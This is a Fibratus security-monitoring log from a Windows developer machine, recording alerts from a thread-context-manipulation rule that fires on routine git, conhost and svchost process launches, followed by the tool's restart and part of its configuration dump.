VSCODE_IPC_HOOK:\\.\pipe\90bda20e-1.105.1-main-sock VSCODE_L10N_BUNDLE_LOCATION: VSCODE_NLS_CONFIG:{"userLocale":"en-us","osLocale":"en-us","resolvedLanguage":"en","defaultMessagesFile":"C:\\Users\\nedo\\AppData\\Local\\Programs\\Microsoft VS Code\\resources\\app\\out\\nls.messages.json","locale":"en-us","availableLanguages":{}} VSCODE_PID:8720 _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:38 +time=2025-11-06T16:54:19+01:00 level=info msg=sending alert: [Thread context manipulation from exception handler]. Text: Event(s): + Seq: 328 + Pid: 13296 + Tid: 13300 + Type: CreateProcess + CPU: 2 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-11-06 16:54:18.1394233 +0100 CET + Params: cmdline➜ "C:\Program Files\Git\cmd\git.exe" for-each-ref --sort -committerdate --format %(refname)%00%(objectname)%00%(*objectname), directory_table_base➜ 175910000, domain➜ ARCHRABBIT, exe➜ C:\Program Files\Git\cmd\git.exe, exit_status➜ Success, flags➜ , kproc➜ ffff808f5b450080, name➜ git.exe, pid➜ 17568, ppid➜ 13296, real_ppid➜ 13296, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-11-06 16:54:18.1394233 +0100 CET, token_elevation_type➜ LIMITED, token_integrity_level➜ MEDIUM, token_is_elevated➜ false, username➜ nedo + Metadata: rule.name: Thread context manipulation from exception handler + + Pid: 13296 + Ppid: 8720 + Name: Code.exe + Parent name: Code.exe + Cmdline: "C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\Code.exe" --type=utility --utility-sub-type=node.mojom.NodeService --lang=en-US --service-sandbox-type=none --dns-result-order=ipv4first --experimental-network-inspection --inspect-port=0 --video-capture-use-gpu-memory-buffer --user-data-dir="C:\Users\nedo\AppData\Roaming\Code" --standard-schemes=vscode-webview,vscode-file --enable-sandbox --secure-schemes=vscode-webview,vscode-file --cors-schemes=vscode-webview,vscode-file --fetch-schemes=vscode-webview,vscode-file --service-worker-schemes=vscode-webview --code-cache-schemes=vscode-webview,vscode-file --field-trial-handle=1660,i,4974518680950750034,10239679373257760819,262144 --enable-features=DocumentPolicyIncludeJSCallStacksInCrashReports,EarlyEstablishGpuChannel,EnableTransparentHwndEnlargement,EstablishGpuChannelAsync --disable-features=CalculateNativeWinOcclusion,FontationsLinuxSystemFonts,ScreenAIOCREnabled,SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit --variations-seed-version --mo + Parent cmdline: "C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\Code.exe" + Exe: C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\Code.exe + Cwd: C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\Code.exe" --type=utility --utility-sub-type=node.mojom.NodeService --lang=en-US --service-sandbox-type=none --dns-result-order=ipv4first --experimental-network-inspection --inspect-port=0 --video-capture-use-gpu-memory-buffer --user-data-dir="C:\Users\nedo\AppData\Roaming\Code" --standard-schemes=vscode-webview,vscode-file --enable-sandbox --secure-schemes=vscode-webview,vscode-file --cors-schemes=vscode-webview,vscode-file --fetch-schemes=vscode-webview,vscode-file --service-worker-schemes=vscode-webview --code-cache-schemes=vscode-webview,vscode-file --field-trial-handle=1660,i,4974518680950750034,10239679373257760819,262144 --enable-features=DocumentPolicyIncludeJSCallStacksInCrashReports,EarlyEstablishGpuChannel,EnableTransparentHwndEnlargement,EstablishGpuChannelAsync --disable-features=CalculateNativeWinOcclusion,FontationsLinuxSystemFonts,ScreenAIOCREnabled,SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit --variations-seed-version --mo] + Session ID: 1 + Envs: map[:C:=C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming CHROME_CRASHPAD_PIPE_NAME:\\.\pipe\crashpad_8720_SGWDTPGKIUAUKUKY COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EFC_1196_1262719628:1 EFC_1196_1592913036:1 EFC_1196_2283032206:1 EFC_1196_2775293581:1 EFC_1196_3789132940:1 ELECTRON_RUN_AS_NODE:1 GOMODCACHE:C:\Users\nedo\go\pkg\mod GOPATH:C:\Users\nedo\go GOPROXY:https://proxy.golang.org,direct GOTELEMETRY_GOPLS_CLIENT_START_TIME:1700254502 GOTELEMETRY_GOPLS_CLIENT_TOKEN:241 HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 ORIGINAL_XDG_CURRENT_DESKTOP:undefined OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo VSCODE_CODE_CACHE_PATH:C:\Users\nedo\AppData\Roaming\Code\CachedData\7d842fb85a0275a4a8e4d7e040d2625abbf7f084 VSCODE_CRASH_REPORTER_PROCESS_TYPE:extensionHost VSCODE_CWD:C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code VSCODE_ESM_ENTRYPOINT:vs/workbench/api/node/extensionHostProcess VSCODE_HANDLES_UNCAUGHT_ERRORS:true VSCODE_IPC_HOOK:\\.\pipe\90bda20e-1.105.1-main-sock VSCODE_L10N_BUNDLE_LOCATION: VSCODE_NLS_CONFIG:{"userLocale":"en-us","osLocale":"en-us","resolvedLanguage":"en","defaultMessagesFile":"C:\\Users\\nedo\\AppData\\Local\\Programs\\Microsoft VS Code\\resources\\app\\out\\nls.messages.json","locale":"en-us","availableLanguages":{}} VSCODE_PID:8720 _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:38 +time=2025-11-06T16:54:19+01:00 level=info msg=sending alert: [Thread context manipulation from exception handler]. Text: Event(s): + Seq: 330 + Pid: 5256 + Tid: 4788 + Type: CreateProcess + CPU: 6 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-11-06 16:54:18.1399792 +0100 CET + Params: cmdline➜ \??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1, directory_table_base➜ 407dcf000, domain➜ ARCHRABBIT, exe➜ C:\WINDOWS\system32\conhost.exe, exit_status➜ Success, flags➜ , kproc➜ ffff808f59b5a080, name➜ conhost.exe, pid➜ 18192, ppid➜ 5256, real_ppid➜ 5256, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-11-06 16:54:18.1399792 +0100 CET, token_elevation_type➜ LIMITED, token_integrity_level➜ MEDIUM, token_is_elevated➜ false, username➜ nedo + Metadata: rule.name: Thread context manipulation from exception handler + + Pid: 5256 + Ppid: 13296 + Name: git.exe + Parent name: Code.exe + Cmdline: "C:\Program Files\Git\cmd\git.exe" status -z -uall + Parent cmdline: "C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\Code.exe" --type=utility --utility-sub-type=node.mojom.NodeService --lang=en-US --service-sandbox-type=none --dns-result-order=ipv4first --experimental-network-inspection --inspect-port=0 --video-capture-use-gpu-memory-buffer --user-data-dir="C:\Users\nedo\AppData\Roaming\Code" --standard-schemes=vscode-webview,vscode-file --enable-sandbox --secure-schemes=vscode-webview,vscode-file --cors-schemes=vscode-webview,vscode-file --fetch-schemes=vscode-webview,vscode-file --service-worker-schemes=vscode-webview --code-cache-schemes=vscode-webview,vscode-file --field-trial-handle=1660,i,4974518680950750034,10239679373257760819,262144 --enable-features=DocumentPolicyIncludeJSCallStacksInCrashReports,EarlyEstablishGpuChannel,EnableTransparentHwndEnlargement,EstablishGpuChannelAsync --disable-features=CalculateNativeWinOcclusion,FontationsLinuxSystemFonts,ScreenAIOCREnabled,SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit --variations-seed-version --mo + Exe: C:\Program Files\Git\cmd\git.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files\Git\cmd\git.exe" status -z -uall] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:38 +time=2025-11-06T16:54:19+01:00 level=info msg=sending alert: [Thread context manipulation from exception handler]. Text: Event(s): + Seq: 332 + Pid: 17568 + Tid: 18208 + Type: CreateProcess + CPU: 7 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-11-06 16:54:18.147406 +0100 CET + Params: cmdline➜ \??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1, directory_table_base➜ 452d6e000, domain➜ ARCHRABBIT, exe➜ C:\WINDOWS\system32\conhost.exe, exit_status➜ Success, flags➜ , kproc➜ ffff808f59fd2080, name➜ conhost.exe, pid➜ 13340, ppid➜ 17568, real_ppid➜ 17568, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-11-06 16:54:18.147406 +0100 CET, token_elevation_type➜ LIMITED, token_integrity_level➜ MEDIUM, token_is_elevated➜ false, username➜ nedo + Metadata: rule.name: Thread context manipulation from exception handler + + Pid: 17568 + Ppid: 13296 + Name: git.exe + Parent name: Code.exe + Cmdline: "C:\Program Files\Git\cmd\git.exe" for-each-ref --sort -committerdate --format %(refname)%00%(objectname)%00%(*objectname) + Parent cmdline: "C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\Code.exe" --type=utility --utility-sub-type=node.mojom.NodeService --lang=en-US --service-sandbox-type=none --dns-result-order=ipv4first --experimental-network-inspection --inspect-port=0 --video-capture-use-gpu-memory-buffer --user-data-dir="C:\Users\nedo\AppData\Roaming\Code" --standard-schemes=vscode-webview,vscode-file --enable-sandbox --secure-schemes=vscode-webview,vscode-file --cors-schemes=vscode-webview,vscode-file --fetch-schemes=vscode-webview,vscode-file --service-worker-schemes=vscode-webview --code-cache-schemes=vscode-webview,vscode-file --field-trial-handle=1660,i,4974518680950750034,10239679373257760819,262144 --enable-features=DocumentPolicyIncludeJSCallStacksInCrashReports,EarlyEstablishGpuChannel,EnableTransparentHwndEnlargement,EstablishGpuChannelAsync --disable-features=CalculateNativeWinOcclusion,FontationsLinuxSystemFonts,ScreenAIOCREnabled,SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit --variations-seed-version --mo + Exe: C:\Program Files\Git\cmd\git.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files\Git\cmd\git.exe" for-each-ref --sort -committerdate --format %(refname)%00%(objectname)%00%(*objectname)] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:38 +time=2025-11-06T16:54:19+01:00 level=info msg=sending alert: [Thread context manipulation from exception handler]. Text: Event(s): + Seq: 334 + Pid: 5256 + Tid: 4788 + Type: CreateProcess + CPU: 2 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-11-06 16:54:18.1782611 +0100 CET + Params: cmdline➜ git.exe status -z -uall, directory_table_base➜ 4423f9000, domain➜ ARCHRABBIT, exe➜ C:\Program Files\Git\mingw64\bin\git.exe, exit_status➜ Success, flags➜ , kproc➜ ffff808f5a3e1080, name➜ git.exe, pid➜ 17576, ppid➜ 5256, real_ppid➜ 5256, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-11-06 16:54:18.1782611 +0100 CET, token_elevation_type➜ LIMITED, token_integrity_level➜ MEDIUM, token_is_elevated➜ false, username➜ nedo + Metadata: rule.name: Thread context manipulation from exception handler + + Pid: 5256 + Ppid: 13296 + Name: git.exe + Parent name: Code.exe + Cmdline: "C:\Program Files\Git\cmd\git.exe" status -z -uall + Parent cmdline: "C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\Code.exe" --type=utility --utility-sub-type=node.mojom.NodeService --lang=en-US --service-sandbox-type=none --dns-result-order=ipv4first --experimental-network-inspection --inspect-port=0 --video-capture-use-gpu-memory-buffer --user-data-dir="C:\Users\nedo\AppData\Roaming\Code" --standard-schemes=vscode-webview,vscode-file --enable-sandbox --secure-schemes=vscode-webview,vscode-file --cors-schemes=vscode-webview,vscode-file --fetch-schemes=vscode-webview,vscode-file --service-worker-schemes=vscode-webview --code-cache-schemes=vscode-webview,vscode-file --field-trial-handle=1660,i,4974518680950750034,10239679373257760819,262144 --enable-features=DocumentPolicyIncludeJSCallStacksInCrashReports,EarlyEstablishGpuChannel,EnableTransparentHwndEnlargement,EstablishGpuChannelAsync --disable-features=CalculateNativeWinOcclusion,FontationsLinuxSystemFonts,ScreenAIOCREnabled,SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit --variations-seed-version --mo + Exe: C:\Program Files\Git\cmd\git.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files\Git\cmd\git.exe" status -z -uall] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:38 +time=2025-11-06T16:54:19+01:00 level=info msg=sending alert: [Thread context manipulation from exception handler]. Text: Event(s): + Seq: 336 + Pid: 17568 + Tid: 18208 + Type: CreateProcess + CPU: 2 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-11-06 16:54:18.1871866 +0100 CET + Params: cmdline➜ git.exe for-each-ref --sort -committerdate --format %(refname)%00%(objectname)%00%(*objectname), directory_table_base➜ 408ae7000, domain➜ ARCHRABBIT, exe➜ C:\Program Files\Git\mingw64\bin\git.exe, exit_status➜ Success, flags➜ , kproc➜ ffff808f5ac0a080, name➜ git.exe, pid➜ 1328, ppid➜ 17568, real_ppid➜ 17568, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-11-06 16:54:18.1871866 +0100 CET, token_elevation_type➜ LIMITED, token_integrity_level➜ MEDIUM, token_is_elevated➜ false, username➜ nedo + Metadata: rule.name: Thread context manipulation from exception handler + + Pid: 17568 + Ppid: 13296 + Name: git.exe + Parent name: Code.exe + Cmdline: "C:\Program Files\Git\cmd\git.exe" for-each-ref --sort -committerdate --format %(refname)%00%(objectname)%00%(*objectname) + Parent cmdline: "C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\Code.exe" --type=utility --utility-sub-type=node.mojom.NodeService --lang=en-US --service-sandbox-type=none --dns-result-order=ipv4first --experimental-network-inspection --inspect-port=0 --video-capture-use-gpu-memory-buffer --user-data-dir="C:\Users\nedo\AppData\Roaming\Code" --standard-schemes=vscode-webview,vscode-file --enable-sandbox --secure-schemes=vscode-webview,vscode-file --cors-schemes=vscode-webview,vscode-file --fetch-schemes=vscode-webview,vscode-file --service-worker-schemes=vscode-webview --code-cache-schemes=vscode-webview,vscode-file --field-trial-handle=1660,i,4974518680950750034,10239679373257760819,262144 --enable-features=DocumentPolicyIncludeJSCallStacksInCrashReports,EarlyEstablishGpuChannel,EnableTransparentHwndEnlargement,EstablishGpuChannelAsync --disable-features=CalculateNativeWinOcclusion,FontationsLinuxSystemFonts,ScreenAIOCREnabled,SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit --variations-seed-version --mo + Exe: C:\Program Files\Git\cmd\git.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files\Git\cmd\git.exe" for-each-ref --sort -committerdate --format %(refname)%00%(objectname)%00%(*objectname)] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:38 +time=2025-11-06T16:54:19+01:00 level=info msg=sending alert: [Thread context manipulation from exception handler]. Text: Event(s): + Seq: 338 + Pid: 17576 + Tid: 17208 + Type: CreateProcess + CPU: 7 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-11-06 16:54:18.2450401 +0100 CET + Params: cmdline➜ git status --porcelain=2, directory_table_base➜ 434cc5000, domain➜ ARCHRABBIT, exe➜ C:\Program Files\Git\mingw64\libexec\git-core\git.exe, exit_status➜ Success, flags➜ , kproc➜ ffff808f5b622080, name➜ git.exe, pid➜ 2524, ppid➜ 17576, real_ppid➜ 17576, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-11-06 16:54:18.2450401 +0100 CET, token_elevation_type➜ LIMITED, token_integrity_level➜ MEDIUM, token_is_elevated➜ false, username➜ nedo + Metadata: rule.name: Thread context manipulation from exception handler + + Pid: 17576 + Ppid: 5256 + Name: git.exe + Parent name: git.exe + Cmdline: git.exe status -z -uall + Parent cmdline: "C:\Program Files\Git\cmd\git.exe" status -z -uall + Exe: C:\Program Files\Git\mingw64\bin\git.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: [git.exe status -z -uall] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:38 +time=2025-11-06T16:54:19+01:00 level=info msg=sending alert: [Thread context manipulation from exception handler]. Text: Event(s): + Seq: 341 + Pid: 17576 + Tid: 17208 + Type: CreateProcess + CPU: 2 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-11-06 16:54:18.2858958 +0100 CET + Params: cmdline➜ git status --porcelain=2, directory_table_base➜ 3b2299000, domain➜ ARCHRABBIT, exe➜ C:\Program Files\Git\mingw64\libexec\git-core\git.exe, exit_status➜ Success, flags➜ , kproc➜ ffff808f5b817080, name➜ git.exe, pid➜ 2412, ppid➜ 17576, real_ppid➜ 17576, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-11-06 16:54:18.2858958 +0100 CET, token_elevation_type➜ LIMITED, token_integrity_level➜ MEDIUM, token_is_elevated➜ false, username➜ nedo + Metadata: rule.name: Thread context manipulation from exception handler + + Pid: 17576 + Ppid: 5256 + Name: git.exe + Parent name: git.exe + Cmdline: git.exe status -z -uall + Parent cmdline: "C:\Program Files\Git\cmd\git.exe" status -z -uall + Exe: C:\Program Files\Git\mingw64\bin\git.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: [git.exe status -z -uall] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:38 +time=2025-11-06T16:54:33+01:00 level=info msg=sending alert: [Thread context manipulation from exception handler]. Text: Event(s): + Seq: 350 + Pid: 1228 + Tid: 4092 + Type: CreateProcess + CPU: 3 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-11-06 16:54:30.9655829 +0100 CET + Params: cmdline➜ "C:\WINDOWS\system32\BackgroundTaskHost.exe" -ServerName:BackgroundTaskHost.WebAccountProvider, directory_table_base➜ 3e7797000, domain➜ ARCHRABBIT, exe➜ C:\WINDOWS\system32\BackgroundTaskHost.exe, exit_status➜ Success, flags➜ APPLICATION_ID|PACKAGED, kproc➜ ffff808f5769d080, name➜ backgroundTaskHost.exe, pid➜ 5808, ppid➜ 1228, real_ppid➜ 1228, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-11-06 16:54:30.9655195 +0100 CET, token_elevation_type➜ LIMITED, token_integrity_level➜ LOW, token_is_elevated➜ false, username➜ nedo + Metadata: rule.name: Thread context manipulation from exception handler + + Pid: 1228 + Ppid: 1004 + Name: svchost.exe + Parent name: services.exe + Cmdline: C:\WINDOWS\system32\svchost.exe -k DcomLaunch -p + Parent cmdline: C:\WINDOWS\system32\services.exe + Exe: C:\WINDOWS\system32\svchost.exe + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [C:\WINDOWS\system32\svchost.exe -k DcomLaunch -p] + Session ID: 0 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\WINDOWS\system32\config\systemprofile\AppData\Roaming COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\WINDOWS\system32\config\systemprofile\AppData\Local NUMBER_OF_PROCESSORS:8 OS:Windows_NT PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\WINDOWS\system32\config\systemprofile\AppData\Local\Microsoft\WindowsApps ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\WINDOWS\TEMP TMP:C:\WINDOWS\TEMP USERDOMAIN:ARCHBUNNY USERNAME:ARCHRABBIT$ USERPROFILE:C:\WINDOWS\system32\config\systemprofile _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:38 +time=2025-11-06T16:54:33+01:00 level=info msg=sending alert: [Thread context manipulation from exception handler]. Text: Event(s): + Seq: 352 + Pid: 1004 + Tid: 9300 + Type: CreateProcess + CPU: 6 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-11-06 16:54:31.0408149 +0100 CET + Params: cmdline➜ C:\WINDOWS\system32\svchost.exe -k GPSvcGroup, directory_table_base➜ 3845b2000, domain➜ NT AUTHORITY, exe➜ C:\WINDOWS\system32\svchost.exe, exit_status➜ Success, flags➜ , kproc➜ ffff808f5b9020c0, name➜ svchost.exe, pid➜ 18292, ppid➜ 1004, real_ppid➜ 1004, session_id➜ 0, sid➜ S-1-5-18, start_time➜ 2025-11-06 16:54:31.0407237 +0100 CET, token_elevation_type➜ DEFAULT, token_integrity_level➜ SYSTEM, token_is_elevated➜ true, username➜ SYSTEM + Metadata: rule.name: Thread context manipulation from exception handler + + Pid: 1004 + Ppid: 404 + Name: services.exe + Parent name: wininit.exe + Cmdline: C:\WINDOWS\system32\services.exe + Parent cmdline: wininit.exe + Exe: C:\WINDOWS\system32\services.exe + Cwd: + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [C:\WINDOWS\system32\services.exe] + Session ID: 0 + Envs: map[] + + + source=action/alert.go:38 +time=2025-11-06T16:54:45+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-06T16:54:45+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:287 +time=2025-11-06T16:54:46+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:287 +time=2025-11-06T16:55:28+01:00 level=info msg=bootstrapping with pid 11984. Version: dev source=bootstrap/bootstrap.go:166 +time=2025-11-06T16:55:28+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ systray=>[ enabled=>false quiet-mode=>false sound=>true] slack=>[ enabled=>false] mail=>[ use-template=>true to=>[] port=>25 content-type=>text/html enabled=>false] eventlog=>[ enabled=>true verbose=>true]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>false enable-direct-syscall=>true] + event .......................... [ serialize-images=>false serialize-handles=>false serialize-threads=>false serialize-envs=>true serialize-pe=>false] + eventsource .................... [ enable-net=>true enable-threadpool=>false min-buffers=>16 max-buffers=>36 enable-vamap=>true enable-thread=>true flush-interval=>1s blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-mem=>false buffer-size=>512 enable-fileio=>true enable-audit-api=>true enable-dns=>false enable-image=>true enable-handle=>false stack-enrichment=>true enable-registry=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true] + forward ........................ false + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ max-age=>0 formatter=>text level=>info log-stdout=>true max-backups=>15 max-size=>100] + output ......................... [ console=>[ format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} + enabled=>true] amqp=>[ exchange=>fibratus routing-key=>fibratus url=>amqp://localhost:5672 delivery-mode=>transient tls-insecure-skip-verify=>false durable=>false timeout=>5s exchange-type=>topic passive=>false enabled=>false vhost=>/] http=>[ timeout=>5s enable-gzip=>false serializer=>json endpoints=>[] enabled=>false tls-insecure-skip-verify=>false method=>POST] elasticsearch=>[ servers=>[http://127.0.0.1:9200] flush-period=>1s timeout=>5s index-name=>fibratus sniff=>false bulk-workers=>1 